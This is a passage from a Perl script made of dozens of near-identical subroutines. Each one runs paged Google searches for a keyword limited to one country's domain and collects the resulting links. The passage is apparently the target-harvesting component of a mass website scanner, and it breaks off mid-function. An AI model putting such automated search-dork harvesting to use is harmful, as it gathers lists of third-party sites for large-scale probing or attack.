  6132.                 push(@list,@grep);
  6133.             }
  6134.         }
  6135.     }
  6136.     return @list;
  6137. }
  6138.  
  6139. sub mw() {
  6140.     my @list;
  6141.     my $key = $_[0];
  6142.     for (my $i=0; $i<=1000; $i+=100){
  6143.         my $search = ($jack11.uri_escape($key)."%2Bsite%3Amw%26num%3D100%26start%3D".$i);
  6144.         my $res = &search_engine_query($search);
  6145.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6146.             my $link = $1;
  6147.             if ($link !~ /google/){
  6148.                 my @grep = &links($link);
  6149.                 push(@list,@grep);
  6150.             }
  6151.         }
  6152.     }
  6153.     return @list;
  6154. }
  6155.  
  6156. sub mt() {
  6157.     my @list;
  6158.     my $key = $_[0];
  6159.     for (my $i=0; $i<=1000; $i+=100){
  6160.         my $search = ($jack12.uri_escape($key)."%2Bsite%3Amt%26num%3D100%26start%3D".$i);
  6161.         my $res = &search_engine_query($search);
  6162.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6163.             my $link = $1;
  6164.             if ($link !~ /google/){
  6165.                 my @grep = &links($link);
  6166.                 push(@list,@grep);
  6167.             }
  6168.         }
  6169.     }
  6170.     return @list;
  6171. }
  6172.  
  6173. sub mu() {
  6174.     my @list;
  6175.     my $key = $_[0];
  6176.     for (my $i=0; $i<=1000; $i+=100){
  6177.         my $search = ($jack13.uri_escape($key)."%2Bsite%3Amu%26num%3D100%26start%3D".$i);
  6178.         my $res = &search_engine_query($search);
  6179.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6180.             my $link = $1;
  6181.             if ($link !~ /google/){
  6182.                 my @grep = &links($link);
  6183.                 push(@list,@grep);
  6184.             }
  6185.         }
  6186.     }
  6187.     return @list;
  6188. }
  6189.  
  6190. sub fm() {
  6191.     my @list;
  6192.     my $key = $_[0];
  6193.     for (my $i=0; $i<=1000; $i+=100){
  6194.         my $search = ($jack4.uri_escape($key)."%2Bsite%3Afm%26num%3D100%26start%3D".$i);
  6195.         my $res = &search_engine_query($search);
  6196.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6197.             my $link = $1;
  6198.             if ($link !~ /google/){
  6199.                 my @grep = &links($link);
  6200.                 push(@list,@grep);
  6201.             }
  6202.         }
  6203.     }
  6204.     return @list;
  6205. }
  6206.  
  6207. sub mn() {
  6208.     my @list;
  6209.     my $key = $_[0];
  6210.     for (my $i=0; $i<=1000; $i+=100){
  6211.         my $search = ($jack5.uri_escape($key)."%2Bsite%3Amn%26num%3D100%26start%3D".$i);
  6212.         my $res = &search_engine_query($search);
  6213.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6214.             my $link = $1;
  6215.             if ($link !~ /google/){
  6216.                 my @grep = &links($link);
  6217.                 push(@list,@grep);
  6218.             }
  6219.         }
  6220.     }
  6221.     return @list;
  6222. }
  6223.  
  6224. sub ms() {
  6225.     my @list;
  6226.     my $key = $_[0];
  6227.     for (my $i=0; $i<=1000; $i+=100){
  6228.         my $search = ($jack6.uri_escape($key)."%2Bsite%3Ams%26num%3D100%26start%3D".$i);
  6229.         my $res = &search_engine_query($search);
  6230.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6231.             my $link = $1;
  6232.             if ($link !~ /google/){
  6233.                 my @grep = &links($link);
  6234.                 push(@list,@grep);
  6235.             }
  6236.         }
  6237.     }
  6238.     return @list;
  6239. }
  6240.  
  6241. sub ma() {
  6242.     my @list;
  6243.     my $key = $_[0];
  6244.     for (my $i=0; $i<=1000; $i+=100){
  6245.         my $search = ($jack7.uri_escape($key)."%2Bsite%3Ama%26num%3D100%26start%3D".$i);
  6246.         my $res = &search_engine_query($search);
  6247.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6248.             my $link = $1;
  6249.             if ($link !~ /google/){
  6250.                 my @grep = &links($link);
  6251.                 push(@list,@grep);
  6252.             }
  6253.         }
  6254.     }
  6255.     return @list;
  6256. }
  6257.  
  6258. sub na() {
  6259.     my @list;
  6260.     my $key = $_[0];
  6261.     for (my $i=0; $i<=1000; $i+=100){
  6262.         my $search = ($jack8.uri_escape($key)."%2Bsite%3Ana%26num%3D100%26start%3D".$i);
  6263.         my $res = &search_engine_query($search);
  6264.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6265.             my $link = $1;
  6266.             if ($link !~ /google/){
  6267.                 my @grep = &links($link);
  6268.                 push(@list,@grep);
  6269.             }
  6270.         }
  6271.     }
  6272.     return @list;
  6273. }
  6274.  
  6275. sub np() {
  6276.     my @list;
  6277.     my $key = $_[0];
  6278.     for (my $i=0; $i<=1000; $i+=100){
  6279.         my $search = ($jack9.uri_escape($key)."%2Bsite%3Anp%26num%3D100%26start%3D".$i);
  6280.         my $res = &search_engine_query($search);
  6281.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6282.             my $link = $1;
  6283.             if ($link !~ /google/){
  6284.                 my @grep = &links($link);
  6285.                 push(@list,@grep);
  6286.             }
  6287.         }
  6288.     }
  6289.     return @list;
  6290. }
  6291.  
  6292. sub nz() {
  6293.     my @list;
  6294.     my $key = $_[0];
  6295.     for (my $i=0; $i<=1000; $i+=100){
  6296.         my $search = ($jack10.uri_escape($key)."%2Bsite%3Anz%26num%3D100%26start%3D".$i);
  6297.         my $res = &search_engine_query($search);
  6298.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6299.             my $link = $1;
  6300.             if ($link !~ /google/){
  6301.                 my @grep = &links($link);
  6302.                 push(@list,@grep);
  6303.             }
  6304.         }
  6305.     }
  6306.     return @list;
  6307. }
  6308.  
  6309. sub ni() {
  6310.     my @list;
  6311.     my $key = $_[0];
  6312.     for (my $i=0; $i<=1000; $i+=100){
  6313.         my $search = ($jack1.uri_escape($key)."%2Bsite%3Ani%26num%3D100%26start%3D".$i);
  6314.         my $res = &search_engine_query($search);
  6315.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6316.             my $link = $1;
  6317.             if ($link !~ /google/){
  6318.                 my @grep = &links($link);
  6319.                 push(@list,@grep);
  6320.             }
  6321.         }
  6322.     }
  6323.     return @list;
  6324. }
  6325.  
  6326. sub nf() {
  6327.     my @list;
  6328.     my $key = $_[0];
  6329.     for (my $i=0; $i<=1000; $i+=100){
  6330.         my $search = ($jack2.uri_escape($key)."%2Bsite%3Anf%26num%3D100%26start%3D".$i);
  6331.         my $res = &search_engine_query($search);
  6332.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6333.             my $link = $1;
  6334.             if ($link !~ /google/){
  6335.                 my @grep = &links($link);
  6336.                 push(@list,@grep);
  6337.             }
  6338.         }
  6339.     }
  6340.     return @list;
  6341. }
  6342.  
  6343. sub no() {
  6344.     my @list;
  6345.     my $key = $_[0];
  6346.     for (my $i=0; $i<=1000; $i+=100){
  6347.         my $search = ($jack3.uri_escape($key)."%2Bsite%3Ano%26num%3D100%26start%3D".$i);
  6348.         my $res = &search_engine_query($search);
  6349.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6350.             my $link = $1;
  6351.             if ($link !~ /google/){
  6352.                 my @grep = &links($link);
  6353.                 push(@list,@grep);
  6354.             }
  6355.         }
  6356.     }
  6357.     return @list;
  6358. }
  6359.  
  6360. sub om() {
  6361.     my @list;
  6362.     my $key = $_[0];
  6363.     for (my $i=0; $i<=1000; $i+=100){
  6364.         my $search = ($jack4.uri_escape($key)."%2Bsite%3Aom%26num%3D100%26start%3D".$i);
  6365.         my $res = &search_engine_query($search);
  6366.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6367.             my $link = $1;
  6368.             if ($link !~ /google/){
  6369.                 my @grep = &links($link);
  6370.                 push(@list,@grep);
  6371.             }
  6372.         }
  6373.     }
  6374.     return @list;
  6375. }
  6376.  
  6377. sub pk() {
  6378.     my @list;
  6379.     my $key = $_[0];
  6380.     for (my $i=0; $i<=1000; $i+=100){
  6381.         my $search = ($jack5.uri_escape($key)."%2Bsite%3Apk%26num%3D100%26start%3D".$i);
  6382.         my $res = &search_engine_query($search);
  6383.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6384.             my $link = $1;
  6385.             if ($link !~ /google/){
  6386.                 my @grep = &links($link);
  6387.                 push(@list,@grep);
  6388.             }
  6389.         }
  6390.     }
  6391.     return @list;
  6392. }
  6393.  
  6394. sub pa() {
  6395.     my @list;
  6396.     my $key = $_[0];
  6397.     for (my $i=0; $i<=1000; $i+=100){
  6398.         my $search = ($jack6.uri_escape($key)."%2Bsite%3Apa%26num%3D100%26start%3D".$i);
  6399.         my $res = &search_engine_query($search);
  6400.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6401.             my $link = $1;
  6402.             if ($link !~ /google/){
  6403.                 my @grep = &links($link);
  6404.                 push(@list,@grep);
  6405.             }
  6406.         }
  6407.     }
  6408.     return @list;
  6409. }
  6410.  
  6411. sub py() {
  6412.     my @list;
  6413.     my $key = $_[0];
  6414.     for (my $i=0; $i<=1000; $i+=100){
  6415.         my $search = ($jack7.uri_escape($key)."%2Bsite%3Apy%26num%3D100%26start%3D".$i);
  6416.         my $res = &search_engine_query($search);
  6417.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6418.             my $link = $1;
  6419.             if ($link !~ /google/){
  6420.                 my @grep = &links($link);
  6421.                 push(@list,@grep);
  6422.             }
  6423.         }
  6424.     }
  6425.     return @list;
  6426. }
  6427.  
  6428. sub pe() {
  6429.     my @list;
  6430.     my $key = $_[0];
  6431.     for (my $i=0; $i<=1000; $i+=100){
  6432.         my $search = ($jack8.uri_escape($key)."%2Bsite%3Ape%26num%3D100%26start%3D".$i);
  6433.         my $res = &search_engine_query($search);
  6434.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6435.             my $link = $1;
  6436.             if ($link !~ /google/){
  6437.                 my @grep = &links($link);
  6438.                 push(@list,@grep);
  6439.             }
  6440.         }
  6441.     }
  6442.     return @list;
  6443. }
  6444.  
  6445. sub pn() {
  6446.     my @list;
  6447.     my $key = $_[0];
  6448.     for (my $i=0; $i<=1000; $i+=100){
  6449.         my $search = ($jack9.uri_escape($key)."%2Bsite%3Apn%26num%3D100%26start%3D".$i);
  6450.         my $res = &search_engine_query($search);
  6451.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6452.             my $link = $1;
  6453.             if ($link !~ /google/){
  6454.                 my @grep = &links($link);
  6455.                 push(@list,@grep);
  6456.             }
  6457.         }
  6458.     }
  6459.     return @list;
  6460. }
  6461.  
  6462. sub pt() {
  6463.     my @list;
  6464.     my $key = $_[0];
  6465.     for (my $i=0; $i<=1000; $i+=100){
  6466.         my $search = ($jack10.uri_escape($key)."%2Bsite%3Apt%26num%3D100%26start%3D".$i);
  6467.         my $res = &search_engine_query($search);
  6468.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6469.             my $link = $1;
  6470.             if ($link !~ /google/){
  6471.                 my @grep = &links($link);
  6472.                 push(@list,@grep);
  6473.             }
  6474.         }
  6475.     }
  6476.     return @list;
  6477. }
  6478.  
  6479. sub pr() {
  6480.     my @list;
  6481.     my $key = $_[0];
  6482.     for (my $i=0; $i<=1000; $i+=100){
  6483.         my $search = ($jack11.uri_escape($key)."%2Bsite%3Apr%26num%3D100%26start%3D".$i);
  6484.         my $res = &search_engine_query($search);
  6485.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6486.             my $link = $1;
  6487.             if ($link !~ /google/){
  6488.                 my @grep = &links($link);
  6489.                 push(@list,@grep);
  6490.             }
  6491.         }
  6492.     }
  6493.     return @list;
  6494. }
  6495.  
  6496. sub qa() {
  6497.     my @list;
  6498.     my $key = $_[0];
  6499.     for (my $i=0; $i<=1000; $i+=100){
  6500.         my $search = ($jack12.uri_escape($key)."%2Bsite%3Aqa%26num%3D100%26start%3D".$i);
  6501.         my $res = &search_engine_query($search);
  6502.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6503.             my $link = $1;
  6504.             if ($link !~ /google/){
  6505.                 my @grep = &links($link);
  6506.                 push(@list,@grep);
  6507.             }
  6508.         }
  6509.     }
  6510.     return @list;
  6511. }
  6512.  
  6513. sub rw() {
  6514.     my @list;
  6515.     my $key = $_[0];
  6516.     for (my $i=0; $i<=1000; $i+=100){
  6517.         my $search = ($jack13.uri_escape($key)."%2Bsite%3Arw%26num%3D100%26start%3D".$i);
  6518.         my $res = &search_engine_query($search);
  6519.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6520.             my $link = $1;
  6521.             if ($link !~ /google/){
  6522.                 my @grep = &links($link);
  6523.                 push(@list,@grep);
  6524.             }
  6525.         }
  6526.     }
  6527.     return @list;
  6528. }
  6529.  
  6530. sub sh() {
  6531.     my @list;
  6532.     my $key = $_[0];
  6533.     for (my $i=0; $i<=1000; $i+=100){
  6534.         my $search = ($jack4.uri_escape($key)."%2Bsite%3Ash%26num%3D100%26start%3D".$i);
  6535.         my $res = &search_engine_query($search);
  6536.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6537.             my $link = $1;
  6538.             if ($link !~ /google/){
  6539.                 my @grep = &links($link);
  6540.                 push(@list,@grep);
  6541.             }
  6542.         }
  6543.     }
  6544.     return @list;
  6545. }
  6546.  
  6547. sub sm() {
  6548.     my @list;
  6549.     my $key = $_[0];
  6550.     for (my $i=0; $i<=1000; $i+=100){
  6551.         my $search = ($jack5.uri_escape($key)."%2Bsite%3Asm%26num%3D100%26start%3D".$i);
  6552.         my $res = &search_engine_query($search);
  6553.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6554.             my $link = $1;
  6555.             if ($link !~ /google/){
  6556.                 my @grep = &links($link);
  6557.                 push(@list,@grep);
  6558.             }
  6559.         }
  6560.     }
  6561.     return @list;
  6562. }
  6563.  
  6564. sub sa() {
  6565.     my @list;
  6566.     my $key = $_[0];
  6567.     for (my $i=0; $i<=1000; $i+=100){
  6568.         my $search = ($jack6.uri_escape($key)."%2Bsite%3Asa%26num%3D100%26start%3D".$i);
  6569.         my $res = &search_engine_query($search);
  6570.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6571.             my $link = $1;
  6572.             if ($link !~ /google/){
  6573.                 my @grep = &links($link);
  6574.                 push(@list,@grep);
  6575.             }
  6576.         }
  6577.     }
  6578.     return @list;
  6579. }
  6580.  
  6581. sub sn() {
  6582.     my @list;
  6583.     my $key = $_[0];
  6584.     for (my $i=0; $i<=1000; $i+=100){
  6585.         my $search = ($jack7.uri_escape($key)."%2Bsite%3Asn%26num%3D100%26start%3D".$i);
  6586.         my $res = &search_engine_query($search);
  6587.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6588.             my $link = $1;
  6589.             if ($link !~ /google/){
  6590.                 my @grep = &links($link);
  6591.                 push(@list,@grep);
  6592.             }
  6593.         }
  6594.     }
  6595.     return @list;
  6596. }
  6597.  
  6598. sub sc() {
  6599.     my @list;
  6600.     my $key = $_[0];
  6601.     for (my $i=0; $i<=1000; $i+=100){
  6602.         my $search = ($jack8.uri_escape($key)."%2Bsite%3Asc%26num%3D100%26start%3D".$i);
  6603.         my $res = &search_engine_query($search);
  6604.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6605.             my $link = $1;
  6606.             if ($link !~ /google/){
  6607.                 my @grep = &links($link);
  6608.                 push(@list,@grep);
  6609.             }
  6610.         }
  6611.     }
  6612.     return @list;
  6613. }
  6614.  
  6615. sub sg() {
  6616.     my @list;
  6617.     my $key = $_[0];
  6618.     for (my $i=0; $i<=1000; $i+=100){
  6619.         my $search = ($jack9.uri_escape($key)."%2Bsite%3Asg%26num%3D100%26start%3D".$i);
  6620.         my $res = &search_engine_query($search);
  6621.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6622.             my $link = $1;
  6623.             if ($link !~ /google/){
  6624.                 my @grep = &links($link);
  6625.                 push(@list,@grep);
  6626.             }
  6627.         }
  6628.     }
  6629.     return @list;
  6630. }
  6631.  
  6632. sub sk() {
  6633.     my @list;
  6634.     my $key = $_[0];
  6635.     for (my $i=0; $i<=1000; $i+=100){
  6636.         my $search = ($jack10.uri_escape($key)."%2Bsite%3Ask%26num%3D100%26start%3D".$i);
  6637.         my $res = &search_engine_query($search);
  6638.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6639.             my $link = $1;
  6640.             if ($link !~ /google/){
  6641.                 my @grep = &links($link);
  6642.                 push(@list,@grep);
  6643.             }
  6644.         }
  6645.     }
  6646.     return @list;
  6647. }
  6648.  
  6649. sub za() {
  6650.     my @list;
  6651.     my $key = $_[0];
  6652.     for (my $i=0; $i<=1000; $i+=100){
  6653.         my $search = ($jack1.uri_escape($key)."%2Bsite%3Aza%26num%3D100%26start%3D".$i);
  6654.         my $res = &search_engine_query($search);
  6655.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6656.             my $link = $1;
  6657.             if ($link !~ /google/){
  6658.                 my @grep = &links($link);
  6659.                 push(@list,@grep);
  6660.             }
  6661.         }
  6662.     }
  6663.     return @list;
  6664. }
  6665.  
  6666. sub lk() {
  6667.     my @list;
  6668.     my $key = $_[0];
  6669.     for (my $i=0; $i<=1000; $i+=100){
  6670.         my $search = ($jack2.uri_escape($key)."%2Bsite%3Alk%26num%3D100%26start%3D".$i);
  6671.         my $res = &search_engine_query($search);
  6672.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6673.             my $link = $1;
  6674.             if ($link !~ /google/){
  6675.                 my @grep = &links($link);
  6676.                 push(@list,@grep);
  6677.             }
  6678.         }
  6679.     }
  6680.     return @list;
  6681. }
  6682.  
  6683. sub vc() {
  6684.     my @list;
  6685.     my $key = $_[0];
  6686.     for (my $i=0; $i<=1000; $i+=100){
  6687.         my $search = ($jack3.uri_escape($key)."%2Bsite%3Avc%26num%3D100%26start%3D".$i);
  6688.         my $res = &search_engine_query($search);
  6689.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6690.             my $link = $1;
  6691.             if ($link !~ /google/){
  6692.                 my @grep = &links($link);
  6693.                 push(@list,@grep);
  6694.             }
  6695.         }
  6696.     }
  6697.     return @list;
  6698. }
  6699.  
  6700. sub se() {
  6701.     my @list;
  6702.     my $key = $_[0];
  6703.     for (my $i=0; $i<=1000; $i+=100){
  6704.         my $search = ($jack4.uri_escape($key)."%2Bsite%3Ase%26num%3D100%26start%3D".$i);
  6705.         my $res = &search_engine_query($search);
  6706.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6707.             my $link = $1;
  6708.             if ($link !~ /google/){
  6709.                 my @grep = &links($link);
  6710.                 push(@list,@grep);
  6711.             }
  6712.         }
  6713.     }
  6714.     return @list;
  6715. }
  6716.  
  6717. sub ch() {
  6718.     my @list;
  6719.     my $key = $_[0];
  6720.     for (my $i=0; $i<=1000; $i+=100){
  6721.         my $search = ($jack5.uri_escape($key)."%2Bsite%3Ach%26num%3D100%26start%3D".$i);
  6722.         my $res = &search_engine_query($search);
  6723.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6724.             my $link = $1;
  6725.             if ($link !~ /google/){
  6726.                 my @grep = &links($link);
  6727.                 push(@list,@grep);
  6728.             }
  6729.         }
  6730.     }
  6731.     return @list;
  6732. }
  6733.  
  6734. sub tw() {
  6735.     my @list;
  6736.     my $key = $_[0];
  6737.     for (my $i=0; $i<=1000; $i+=100){
  6738.         my $search = ($jack6.uri_escape($key)."%2Bsite%3Atw%26num%3D100%26start%3D".$i);
  6739.         my $res = &search_engine_query($search);
  6740.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6741.             my $link = $1;
  6742.             if ($link !~ /google/){
  6743.                 my @grep = &links($link);
  6744.                 push(@list,@grep);
  6745.             }
  6746.         }
  6747.     }
  6748.     return @list;
  6749. }
  6750.  
  6751. sub tj() {
  6752.     my @list;
  6753.     my $key = $_[0];
  6754.     for (my $i=0; $i<=1000; $i+=100){
  6755.         my $search = ($jack7.uri_escape($key)."%2Bsite%3Atj%26num%3D100%26start%3D".$i);
  6756.         my $res = &search_engine_query($search);
  6757.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6758.             my $link = $1;
  6759.             if ($link !~ /google/){
  6760.                 my @grep = &links($link);
  6761.                 push(@list,@grep);
  6762.             }
  6763.         }
  6764.     }
  6765.     return @list;
  6766. }
  6767.  
  6768. sub bs() {
  6769.     my @list;
  6770.     my $key = $_[0];
  6771.     for (my $i=0; $i<=1000; $i+=100){
  6772.         my $search = ($jack8.uri_escape($key)."%2Bsite%3Abs%26num%3D100%26start%3D".$i);
  6773.         my $res = &search_engine_query($search);
  6774.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6775.             my $link = $1;
  6776.             if ($link !~ /google/){
  6777.                 my @grep = &links($link);
  6778.                 push(@list,@grep);
  6779.             }
  6780.         }
  6781.     }
  6782.     return @list;
  6783. }
  6784.  
  6785. sub to() {
  6786.     my @list;
  6787.     my $key = $_[0];
  6788.     for (my $i=0; $i<=1000; $i+=100){
  6789.         my $search = ($jack9.uri_escape($key)."%2Bsite%3Ato%26num%3D100%26start%3D".$i);
  6790.         my $res = &search_engine_query($search);
  6791.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6792.             my $link = $1;
  6793.             if ($link !~ /google/){
  6794.                 my @grep = &links($link);
  6795.                 push(@list,@grep);
  6796.             }
  6797.         }
  6798.     }
  6799.     return @list;
  6800. }
  6801.  
  6802. sub tt() {
  6803.     my @list;
  6804.     my $key = $_[0];
  6805.     for (my $i=0; $i<=1000; $i+=100){
  6806.         my $search = ($jack10.uri_escape($key)."%2Bsite%3Att%26num%3D100%26start%3D".$i);
  6807.         my $res = &search_engine_query($search);
  6808.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6809.             my $link = $1;
  6810.             if ($link !~ /google/){
  6811.                 my @grep = &links($link);
  6812.                 push(@list,@grep);
  6813.             }
  6814.         }
  6815.     }
  6816.     return @list;
  6817. }
  6818.  
  6819. sub tr() {
  6820.     my @list;
  6821.     my $key = $_[0];
  6822.     for (my $i=0; $i<=1000; $i+=100){
  6823.         my $search = ($jack11.uri_escape($key)."%2Bsite%3Atr%26num%3D100%26start%3D".$i);
  6824.         my $res = &search_engine_query($search);
  6825.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6826.             my $link = $1;
  6827.             if ($link !~ /google/){
  6828.                 my @grep = &links($link);
  6829.                 push(@list,@grep);
  6830.             }
  6831.         }
  6832.     }
  6833.     return @list;
  6834. }
  6835.  
  6836. sub tm() {
  6837.     my @list;
  6838.     my $key = $_[0];
  6839.     for (my $i=0; $i<=1000; $i+=100){
  6840.         my $search = ($jack12.uri_escape($key)."%2Bsite%3Atm%26num%3D100%26start%3D".$i);
  6841.         my $res = &search_engine_query($search);
  6842.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6843.             my $link = $1;
  6844.             if ($link !~ /google/){
  6845.                 my @grep = &links($link);
  6846.                 push(@list,@grep);
  6847.             }
  6848.         }
  6849.     }
  6850.     return @list;
  6851. }
  6852.  
  6853. sub vi() {
  6854.     my @list;
  6855.     my $key = $_[0];
  6856.     for (my $i=0; $i<=1000; $i+=100){
  6857.         my $search = ($jack13.uri_escape($key)."%2Bsite%3Avi%26num%3D100%26start%3D".$i);
  6858.         my $res = &search_engine_query($search);
  6859.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6860.             my $link = $1;
  6861.             if ($link !~ /google/){
  6862.                 my @grep = &links($link);
  6863.                 push(@list,@grep);
  6864.             }
  6865.         }
  6866.     }
  6867.     return @list;
  6868. }
  6869.  
  6870. sub ug() {
  6871.     my @list;
  6872.     my $key = $_[0];
  6873.     for (my $i=0; $i<=1000; $i+=100){
  6874.         my $search = ($jack4.uri_escape($key)."%2Bsite%3Aug%26num%3D100%26start%3D".$i);
  6875.         my $res = &search_engine_query($search);
  6876.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6877.             my $link = $1;
  6878.             if ($link !~ /google/){
  6879.                 my @grep = &links($link);
  6880.                 push(@list,@grep);
  6881.             }
  6882.         }
  6883.     }
  6884.     return @list;
  6885. }
  6886.  
  6887. sub uy() {
  6888.     my @list;
  6889.     my $key = $_[0];
  6890.     for (my $i=0; $i<=1000; $i+=100){
  6891.         my $search = ($jack5.uri_escape($key)."%2Bsite%3Auy%26num%3D100%26start%3D".$i);
  6892.         my $res = &search_engine_query($search);
  6893.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6894.             my $link = $1;
  6895.             if ($link !~ /google/){
  6896.                 my @grep = &links($link);
  6897.                 push(@list,@grep);
  6898.             }
  6899.         }
  6900.     }
  6901.     return @list;
  6902. }
  6903.  
  6904. sub uz() {
  6905.     my @list;
  6906.     my $key = $_[0];
  6907.     for (my $i=0; $i<=1000; $i+=100){
  6908.         my $search = ($jack6.uri_escape($key)."%2Bsite%3Auz%26num%3D100%26start%3D".$i);
  6909.         my $res = &search_engine_query($search);
  6910.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6911.             my $link = $1;
  6912.             if ($link !~ /google/){
  6913.                 my @grep = &links($link);
  6914.                 push(@list,@grep);
  6915.             }
  6916.         }
  6917.     }
  6918.     return @list;
  6919. }
  6920.  
  6921. sub ve() {
  6922.     my @list;
  6923.     my $key = $_[0];
  6924.     for (my $i=0; $i<=1000; $i+=100){
  6925.         my $search = ($jack7.uri_escape($key)."%2Bsite%3Ave%26num%3D100%26start%3D".$i);
  6926.         my $res = &search_engine_query($search);
  6927.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6928.             my $link = $1;
  6929.             if ($link !~ /google/){
  6930.                 my @grep = &links($link);
  6931.                 push(@list,@grep);
  6932.             }
  6933.         }
  6934.     }
  6935.     return @list;
  6936. }
  6937.  
  6938. sub vm() {
  6939.     my @list;
  6940.     my $key = $_[0];
  6941.     for (my $i=0; $i<=1000; $i+=100){
  6942.         my $search = ($jack8.uri_escape($key)."%2Bsite%3Avm%26num%3D100%26start%3D".$i);
  6943.         my $res = &search_engine_query($search);
  6944.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6945.             my $link = $1;
  6946.             if ($link !~ /google/){
  6947.                 my @grep = &links($link);
  6948.                 push(@list,@grep);
  6949.             }
  6950.         }
  6951.     }
  6952.     return @list;
  6953. }
  6954.  
  6955. sub zm() {
  6956.     my @list;
  6957.     my $key = $_[0];
  6958.     for (my $i=0; $i<=1000; $i+=100){
  6959.         my $search = ($jack9.uri_escape($key)."%2Bsite%3Azm%26num%3D100%26start%3D".$i);
  6960.         my $res = &search_engine_query($search);
  6961.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6962.             my $link = $1;
  6963.             if ($link !~ /google/){
  6964.                 my @grep = &links($link);
  6965.                 push(@list,@grep);
  6966.             }
  6967.         }
  6968.     }
  6969.     return @list;
  6970. }
  6971.  
  6972. sub ws() {
  6973.     my @list;
  6974.     my $key = $_[0];
  6975.     for (my $i=0; $i<=1000; $i+=100){
  6976.         my $search = ($jack10.uri_escape($key)."%2Bsite%3Aws%26num%3D100%26start%3D".$i);
  6977.         my $res = &search_engine_query($search);
  6978.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6979.             my $link = $1;
  6980.             if ($link !~ /google/){
  6981.                 my @grep = &links($link);
  6982.                 push(@list,@grep);
  6983.             }
  6984.         }
  6985.     }
  6986.     return @list;
  6987. }
  6988.  
  6989. sub af() {
  6990.     my @list;
  6991.     my $key = $_[0];
  6992.     for (my $i=0; $i<=1000; $i+=100){
  6993.         my $search = ($jack1.uri_escape($key)."%2Bsite%3Aaf%26num%3D100%26start%3D".$i);
  6994.         my $res = &search_engine_query($search);
  6995.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  6996.             my $link = $1;
  6997.             if ($link !~ /google/){
  6998.                 my @grep = &links($link);
  6999.                 push(@list,@grep);
  7000.             }
  7001.         }
  7002.     }
  7003.     return @list;
  7004. }
  7005.  
  7006. sub ax() {
  7007.     my @list;
  7008.     my $key = $_[0];
  7009.     for (my $i=0; $i<=1000; $i+=100){
  7010.         my $search = ($jack2.uri_escape($key)."%2Bsite%3Aax%26num%3D100%26start%3D".$i);
  7011.         my $res = &search_engine_query($search);
  7012.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7013.             my $link = $1;
  7014.             if ($link !~ /google/){
  7015.                 my @grep = &links($link);
  7016.                 push(@list,@grep);
  7017.             }
  7018.         }
